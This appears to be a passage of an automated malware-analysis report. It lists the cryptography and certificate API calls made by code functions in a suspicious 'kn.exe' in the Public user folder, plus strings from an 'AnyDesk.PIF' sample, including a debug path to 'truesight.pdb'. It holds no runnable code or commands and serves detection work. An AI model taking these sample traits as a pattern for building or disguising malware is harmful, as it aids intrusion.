Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC05BA4 #357,NCryptIsKeyHandle,strcmp,GetLastError,strcmp,GetLastError,SysAllocStringByteLen,#357,SysFreeString,#359,LocalAlloc,#357,GetLastError,GetLastError,GetLastError,#357,LocalFree,LocalFree,LocalFree,SysFreeString,CertFreeCertificateContext,LocalFree,LocalFree,CryptReleaseContext,	7_2_00007FF68FC05BA4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCAFB50 CryptExportPublicKeyInfo,GetLastError,#357,LocalAlloc,#357,CryptExportPublicKeyInfo,GetLastError,GetLastError,#357,#357,CertFindExtension,LocalAlloc,#357,memmove,#357,#357,#357,#357,#357,CAFindCertTypeByName,CAGetCertTypeExtensions,#357,#358,CertFindExtension,#357,LocalAlloc,memmove,memmove,#357,#357,GetLastError,#357,CertFindExtension,#357,GetLastError,#357,CryptSignAndEncodeCertificate,GetLastError,#357,LocalAlloc,CryptSignAndEncodeCertificate,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CAFreeCertTypeExtensions,CACloseCertType,	7_2_00007FF68FCAFB50
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDBB50 NCryptIsKeyHandle,#359,CertCreateCertificateContext,GetLastError,LocalFree,CryptGetKeyParam,GetLastError,#358,LocalAlloc,#357,CryptGetKeyParam,GetLastError,#357,	7_2_00007FF68FCDBB50
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD5B44 CertFindExtension,#357,CryptDecodeObject,GetLastError,	7_2_00007FF68FCD5B44
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6BB38 #357,CryptVerifyCertificateSignatureEx,GetLastError,#357,memcmp,GetSystemTimeAsFileTime,CompareFileTime,CompareFileTime,CompareFileTime,#357,#358,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC6BB38
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD7B60 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptFindOIDInfo,LocalAlloc,#357,memmove,CryptReleaseContext,	7_2_00007FF68FCD7B60
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC63B14 NCryptIsKeyHandle,CryptGetUserKey,GetLastError,#357,#357,#357,NCryptIsKeyHandle,#357,#357,LocalFree,CryptDestroyKey,	7_2_00007FF68FC63B14
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC99AF8 CertCloseStore,CertCloseStore,CryptMsgClose,LocalFree,LocalFree,NCryptFreeObject,	7_2_00007FF68FC99AF8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCFA84 LocalAlloc,#357,memmove,CryptDecrypt,GetLastError,#357,LocalFree,	7_2_00007FF68FCCFA84
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD05AA8 CryptDecodeObjectEx,	7_2_00007FF68FD05AA8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCBBA50 CryptSignCertificate,SetLastError,	7_2_00007FF68FCBBA50
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA1A44 CryptContextAddRef,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCA1A44
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC33A40 LocalFree,LocalFree,strcmp,#357,strcmp,LocalFree,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,LocalFree,strcmp,CryptDecodeObject,strcmp,LocalFree,strcmp,GetLastError,#357,LocalFree,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,GetLastError,#357,strcmp,strcmp,GetLastError,strcmp,CryptDecodeObject,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,GetLastError,strcmp,strcmp,strcmp,strcmp,#357,#357,CryptDecodeObject,GetLastError,GetLastError,strcmp,LocalFree,strcmp,LocalFree,GetLastError,strcmp,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC33A40
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA7A70 wcscmp,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,NCryptSignHash,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,#357,_CxxThrowException,_CxxThrowException,NCryptSecretAgreement,#205,#357,#357,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,NCryptDeriveKey,#205,#359,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCA7A70
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB9A58 #357,#357,#210,#357,SetWindowTextW,SetFocus,SendMessageW,SendMessageW,LocalAlloc,#357,#357,LocalFree,UpdateWindow,CoInitialize,LoadCursorW,SetCursor,LoadCursorW,SetCursor,SetFocus,SetWindowTextW,SetFocus,#357,SetFocus,SendMessageW,#357,LocalFree,LocalFree,LocalFree,CryptUIDlgFreeCAContext,CoUninitialize,	7_2_00007FF68FCB9A58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDBA14 NCryptIsKeyHandle,#357,CryptGetProvParam,GetLastError,NCryptFreeObject,	7_2_00007FF68FCDBA14
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8B9CC I_CryptWalkAllLruCacheEntries,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,I_CryptWalkAllLruCacheEntries,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,	7_2_00007FF68FC8B9CC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2F9B8 strcmp,#357,#359,NCryptOpenStorageProvider,#357,NCryptImportKey,#357,NCryptSetProperty,NCryptFinalizeKey,NCryptFreeObject,NCryptFreeObject,#359,CryptImportPKCS8,GetLastError,#357,CryptGetUserKey,GetLastError,#357,CryptGetUserKey,GetLastError,CryptDestroyKey,CryptReleaseContext,LocalFree,	7_2_00007FF68FC2F9B8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC37988 CryptFindOIDInfo,#357,CryptFindOIDInfo,#357,GetLastError,#357,GetLastError,#357,LocalFree,	7_2_00007FF68FC37988
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8597C GetLastError,CryptEncodeObjectEx,GetLastError,#357,	7_2_00007FF68FC8597C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCFB980 #357,CryptFindOIDInfo,#359,GetLastError,#357,#359,CryptGetProvParam,memset,CryptGetProvParam,CryptFindOIDInfo,#357,GetLastError,#357,CryptReleaseContext,BCryptFreeBuffer,	7_2_00007FF68FCFB980
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8B950 I_CryptGetLruEntryData,#357,	7_2_00007FF68FC8B950
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5F944 CryptDecodeObject,GetLastError,#357,	7_2_00007FF68FC5F944
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC9970 LocalAlloc,#357,LocalAlloc,CertGetEnhancedKeyUsage,GetLastError,#358,LocalFree,LocalFree,GetLastError,strcmp,#357,CryptFindOIDInfo,LocalFree,	7_2_00007FF68FCC9970
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC138FC RevertToSelf,#356,#357,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,	7_2_00007FF68FC138FC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC23918 #357,#357,#357,#357,CertFindExtension,CryptDecodeObject,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC23918
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCF918 CryptEncrypt,GetLastError,LocalFree,LocalAlloc,#357,LocalFree,	7_2_00007FF68FCCF918
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA391C CryptVerifySignatureW,#205,GetLastError,#357,#359,#357,SetLastError,	7_2_00007FF68FCA391C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8B8D0 I_CryptGetLruEntryData,#357,	7_2_00007FF68FC8B8D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC718DC CertFindExtension,CryptDecodeObject,GetLastError,#357,	7_2_00007FF68FC718DC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC79878 strcmp,strcmp,strcmp,#357,#357,CompareFileTime,LocalFree,CryptMsgClose,CertCloseStore,CompareFileTime,#357,#357,	7_2_00007FF68FC79878
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC37884 GetLastError,CryptFindOIDInfo,#357,#357,LocalFree,	7_2_00007FF68FC37884
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD98B0 #357,CryptImportPublicKeyInfo,GetLastError,#357,CryptGenKey,GetLastError,CryptGenRandom,GetLastError,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,CryptImportKey,GetLastError,#357,memcmp,#357,CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,LocalFree,LocalFree,LocalFree,CryptReleaseContext,	7_2_00007FF68FCD98B0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8D850 #357,Sleep,BCryptCloseAlgorithmProvider,I_CryptFreeLruCache,	7_2_00007FF68FC8D850
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9184C CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,memset,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CryptDecrypt,GetLastError,GetLastError,#357,CryptDestroyKey,CryptDestroyHash,LocalFree,CryptDestroyKey,GetLastError,#357,LocalFree,	7_2_00007FF68FC9184C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA3860 CryptSetProvParam,#205,GetLastError,#357,#357,#357,SetLastError,	7_2_00007FF68FCA3860
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3F810 #223,CryptDecodeObjectEx,GetLastError,CertFindAttribute,CertFindAttribute,GetLastError,#357,LocalFree,LocalFree,	7_2_00007FF68FC3F810
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8B808 I_CryptFindLruEntry,I_CryptGetLruEntryData,#357,I_CryptReleaseLruEntry,	7_2_00007FF68FC8B808
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCF7FC CryptExportKey,GetLastError,#357,LocalAlloc,CryptExportKey,GetLastError,LocalFree,	7_2_00007FF68FCCF7FC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC417D4 #357,#359,#357,NCryptFinalizeKey,#360,#359,#359,#357,NCryptDeleteKey,#360,#359,#359,#359,LocalFree,LocalFree,	7_2_00007FF68FC417D4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB97E4 LoadCursorW,SetCursor,#210,LoadCursorW,SetCursor,#357,EnableWindow,SetWindowLongPtrW,SetWindowLongPtrW,SetWindowLongPtrW,GetDlgItem,SetWindowTextW,GetDlgItem,ShowWindow,CryptUIDlgFreeCAContext,LocalFree,	7_2_00007FF68FCB97E4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC1B788 #140,iswdigit,CryptDecodeObject,GetLastError,#357,#357,#224,	7_2_00007FF68FC1B788
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCBB794 CryptExportPublicKeyInfoEx,SetLastError,	7_2_00007FF68FCBB794
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3D790 SslEnumProtocolProviders,#357,SslOpenProvider,SslFreeBuffer,SslFreeObject,SslFreeBuffer,#359,LocalAlloc,BCryptGetProperty,CryptFindOIDInfo,BCryptDestroyKey,BCryptDestroyKey,LocalFree,	7_2_00007FF68FC3D790
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7577C #360,#358,CryptDecodeObject,GetLastError,#357,	7_2_00007FF68FC7577C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA37A4 CryptSetKeyParam,#205,GetLastError,#357,#357,#357,SetLastError,	7_2_00007FF68FCA37A4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCD750 LocalAlloc,CryptFormatObject,GetLastError,#358,#358,LocalFree,#357,	7_2_00007FF68FCCD750
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6F774 CertFindExtension,#357,CryptVerifyCertificateSignature,GetLastError,GetLastError,memmove,LocalFree,	7_2_00007FF68FC6F774
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA5768 NCryptIsKeyHandle,??_V@YAXPEAX@Z,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCA5768
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA36E8 CryptSetHashParam,#205,GetLastError,#357,#357,#357,SetLastError,	7_2_00007FF68FCA36E8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8F6D8 #357,CryptDuplicateKey,GetLastError,CryptEncrypt,GetLastError,LocalAlloc,memmove,CryptEncrypt,GetLastError,LocalAlloc,CryptDestroyKey,LocalFree,	7_2_00007FF68FC8F6D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC9688 CryptFindOIDInfo,#357,#360,#360,#360,	7_2_00007FF68FCC9688
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC576B0 #359,CryptAcquireCertificatePrivateKey,GetLastError,#357,#358,#359,#358,#358,LocalFree,LocalFree,#357,CryptFindCertificateKeyProvInfo,GetLastError,#357,LocalFree,LocalFree,CryptReleaseContext,	7_2_00007FF68FC576B0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCBD6A0 CertOpenStore,GetLastError,#357,CryptMsgOpenToDecode,GetLastError,#357,CryptMsgUpdate,GetLastError,#357,CryptMsgUpdate,GetLastError,#357,#357,LocalFree,LocalAlloc,#357,memmove,CryptMsgGetParam,GetLastError,CryptMsgGetParam,GetLastError,CryptMsgGetParam,GetLastError,CryptMsgClose,CertCloseStore,LocalFree,LocalFree,	7_2_00007FF68FCBD6A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCF650 CryptHashCertificate2,SetLastError,	7_2_00007FF68FCCF650
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA3654 CryptReleaseContext,#205,GetLastError,#357,#357,SetLastError,	7_2_00007FF68FCA3654
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9F644 NCryptDeleteKey,#205,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FC9F644
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7366C CryptVerifyCertificateSignature,GetLastError,CryptVerifyCertificateSignatureEx,GetLastError,#357,	7_2_00007FF68FC7366C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8B664 I_CryptFindLruEntry,I_CryptGetLruEntryData,I_CryptReleaseLruEntry,	7_2_00007FF68FC8B664
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2D660 GetDesktopWindow,LocalFree,#357,CertDuplicateCertificateContext,GetLastError,#357,#357,#357,#357,#357,#207,LocalFree,#358,#357,#358,#357,#357,#357,#357,#357,NCryptIsKeyHandle,#357,#357,NCryptIsKeyHandle,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,CryptSetProvParam,GetLastError,#357,CryptReleaseContext,LocalFree,	7_2_00007FF68FC2D660
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC15664 #256,#357,CryptHashCertificate2,GetLastError,#254,#254,#357,#207,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,#359,	7_2_00007FF68FC15664
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC895FC BCryptOpenAlgorithmProvider,#357,BCryptCreateHash,BCryptHashData,BCryptHashData,CertGetCRLContextProperty,BCryptHashData,BCryptHashData,BCryptFinishHash,BCryptDestroyHash,BCryptCloseAlgorithmProvider,	7_2_00007FF68FC895FC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2F630 CryptAcquireContextW,GetLastError,#357,SetLastError,	7_2_00007FF68FC2F630
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2D5C2 CertCloseStore,CryptMsgClose,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC2D5C2
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC655F0 #357,#360,GetLastError,#360,#359,NCryptDeleteKey,#360,#357,LocalFree,LocalFree,	7_2_00007FF68FC655F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA3590 CryptImportPublicKeyInfoEx2,#205,GetLastError,#357,#357,#357,SetLastError,	7_2_00007FF68FCA3590
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD9580 memset,#357,CryptCreateHash,GetLastError,#357,CryptGenRandom,GetLastError,CryptHashData,GetLastError,CryptSignHashW,GetLastError,LocalAlloc,CryptSignHashW,GetLastError,CryptImportPublicKeyInfo,GetLastError,CryptVerifySignatureW,GetLastError,#357,CryptDestroyHash,CryptDestroyKey,LocalFree,CryptReleaseContext,	7_2_00007FF68FCD9580
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCF570 CryptHashCertificate,SetLastError,	7_2_00007FF68FCCF570
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6B55C CertFreeCertificateContext,CertCreateCertificateContext,GetLastError,CertDuplicateCertificateContext,#357,#358,CertCompareCertificateName,CryptVerifyCertificateSignatureEx,GetLastError,#357,#357,CertFreeCertificateContext,CertVerifyTimeValidity,#357,	7_2_00007FF68FC6B55C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA34F8 CryptImportPublicKeyInfo,#205,GetLastError,#357,#357,SetLastError,	7_2_00007FF68FCA34F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC63504 CreateFileW,GetLastError,#357,GetFileSize,GetLastError,#357,SetFilePointer,GetLastError,#357,CertFreeCertificateContext,CertFreeCertificateContext,CryptDestroyKey,CryptReleaseContext,CloseHandle,	7_2_00007FF68FC63504
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD14F0 GetEnvironmentVariableW,#205,#205,#203,CryptDestroyHash,CryptReleaseContext,CryptAcquireContextW,GetLastError,#357,CryptCreateHash,GetLastError,CryptReleaseContext,GetLastError,#357,#357,#203,#357,#357,#357,#357,#203,LocalFree,#203,#357,#357,#207,#203,#203,LocalFree,#203,#203,CryptDestroyHash,CryptReleaseContext,	7_2_00007FF68FCD14F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCBB4EC CryptDecodeObjectEx,SetLastError,	7_2_00007FF68FCBB4EC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8F488 #357,LocalAlloc,memmove,CryptDuplicateKey,GetLastError,CryptDecrypt,GetLastError,CryptDestroyKey,LocalFree,	7_2_00007FF68FC8F488
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA9480 memmove,BCryptDecrypt,#205,#357,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,memmove,BCryptEncrypt,#205,#357,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCA9480
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCF4A0 CryptHashPublicKeyInfo,SetLastError,	7_2_00007FF68FCCF4A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC05438 memset,#246,#357,#357,GetLastError,#357,CertFindExtension,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptReleaseContext,CryptAcquireContextW,LocalFree,	7_2_00007FF68FC05438
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCBB464 CryptEncodeObjectEx,SetLastError,	7_2_00007FF68FCBB464
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA342C CryptImportKey,#205,GetLastError,#357,#357,#357,SetLastError,	7_2_00007FF68FCA342C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD141C GetLastError,CryptDecodeObjectEx,GetLastError,#357,LocalFree,	7_2_00007FF68FCD141C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC853E8 CryptEncodeObjectEx,GetLastError,#357,	7_2_00007FF68FC853E8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC613F0 CryptAcquireContextW,GetLastError,#357,CryptCreateHash,GetLastError,CryptHashData,CryptHashData,GetLastError,CryptImportPublicKeyInfo,CryptVerifySignatureW,CertCreateCertificateContext,#357,LocalFree,GetLastError,GetLastError,GetLastError,GetLastError,#357,LocalFree,LocalFree,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	7_2_00007FF68FC613F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,	7_2_00007FF68FC8B3D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA3390 CryptGetUserKey,#205,GetLastError,#357,#357,SetLastError,	7_2_00007FF68FCA3390
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB33B0 CertFindExtension,#357,CryptDecodeObject,GetLastError,#357,#357,	7_2_00007FF68FCB33B0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD93A0 CryptGetUserKey,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,LocalFree,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	7_2_00007FF68FCD93A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD739C CryptAcquireContextW,GetLastError,#360,#360,SetLastError,	7_2_00007FF68FCD739C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC833A0 CryptVerifyCertificateSignature,CertCompareCertificateName,	7_2_00007FF68FC833A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5B350 CryptFindLocalizedName,CertEnumPhysicalStore,GetLastError,#357,	7_2_00007FF68FC5B350
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC65338 wcsrchr,#357,#357,LocalAlloc,memmove,wcsrchr,GetLastError,#360,#357,#357,LocalFree,LocalFree,LocalFree,CryptReleaseContext,	7_2_00007FF68FC65338
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC37340 GetModuleHandleW,GetProcAddress,GetLastError,BCryptExportKey,#360,LocalAlloc,CryptHashCertificate2,GetLastError,CryptHashCertificate2,GetLastError,#357,LocalFree,	7_2_00007FF68FC37340
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2B36C GetLastError,CryptHashCertificate,GetLastError,CryptHashCertificate2,GetLastError,SysAllocStringByteLen,#357,SysFreeString,#357,#357,#357,LocalFree,SysFreeString,	7_2_00007FF68FC2B36C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8D30C BCryptOpenAlgorithmProvider,#357,BCryptCreateHash,BCryptHashData,BCryptHashData,BCryptHashData,BCryptFinishHash,BCryptDestroyHash,	7_2_00007FF68FC8D30C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3D304 #357,CryptFindOIDInfo,#359,LocalAlloc,CryptEncodeObjectEx,GetLastError,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC3D304
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3B324 CryptDecodeObject,GetLastError,#357,#357,LocalFree,	7_2_00007FF68FC3B324
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC832D0 #359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,	7_2_00007FF68FC832D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC692C4 memset,CryptHashCertificate,GetLastError,CryptHashCertificate,GetLastError,GetLastError,GetLastError,#357,#254,LocalAlloc,wcsstr,LocalAlloc,LocalAlloc,#357,memmove,GetLastError,GetProcAddress,GetLastError,GetLastError,#359,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FreeLibrary,	7_2_00007FF68FC692C4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9F2F0 BCryptCreateHash,#205,#357,#357,#357,#357,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FC9F2F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC792D8 CertEnumCertificatesInStore,CertGetCRLContextProperty,CertSetCTLContextProperty,GetLastError,#357,#357,CertEnumCertificatesInStore,CryptMsgControl,GetLastError,#357,CryptMsgGetAndVerifySigner,GetLastError,#357,CryptMsgGetAndVerifySigner,#357,CertFreeCertificateContext,CertGetCRLContextProperty,CertEnumCertificatesInStore,#357,#357,#207,LocalFree,#357,#357,CertFreeCertificateContext,CompareFileTime,CertFreeCertificateContext,	7_2_00007FF68FC792D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD7290 NCryptIsKeyHandle,#359,#360,#357,#358,	7_2_00007FF68FCD7290
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCD28C CryptFindOIDInfo,CryptEnumOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,#358,	7_2_00007FF68FCCD28C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6B2B4 #357,CryptHashCertificate,GetLastError,#357,memcmp,#358,	7_2_00007FF68FC6B2B4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA32A8 CryptGetProvParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,	7_2_00007FF68FCA32A8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3D240 #357,CryptFindOIDInfo,#357,LocalFree,	7_2_00007FF68FC3D240
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD7214 NCryptIsKeyHandle,#357,CryptReleaseContext,GetLastError,	7_2_00007FF68FCD7214
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF9208 #357,NCryptEnumKeys,#360,#358,	7_2_00007FF68FCF9208
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA11C8 NCryptVerifySignature,#205,#357,#357,#357,#357,	7_2_00007FF68FCA11C8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD71C8 BCryptDestroyKey,#360,	7_2_00007FF68FCD71C8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA31C0 CryptGetKeyParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,	7_2_00007FF68FCA31C0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC83188 CryptAcquireContextW,GetLastError,#359,#359,CryptAcquireContextW,GetLastError,	7_2_00007FF68FC83188
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD7178 BCryptCloseAlgorithmProvider,#360,	7_2_00007FF68FCD7178
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC751A4 #360,#357,#359,#207,CryptFindOIDInfo,#357,GetLastError,#357,#207,#360,#254,#358,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC751A4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8F168 CryptDuplicateKey,GetLastError,#357,CryptEncrypt,GetLastError,CryptEncrypt,GetLastError,CryptDestroyKey,	7_2_00007FF68FC8F168
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC85164 GetLastError,#357,CryptEncodeObjectEx,GetLastError,#357,LocalFree,	7_2_00007FF68FC85164

Source: AnyDesk.PIF

Binary or memory string: -----BEGIN PUBLIC KEY-----

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp
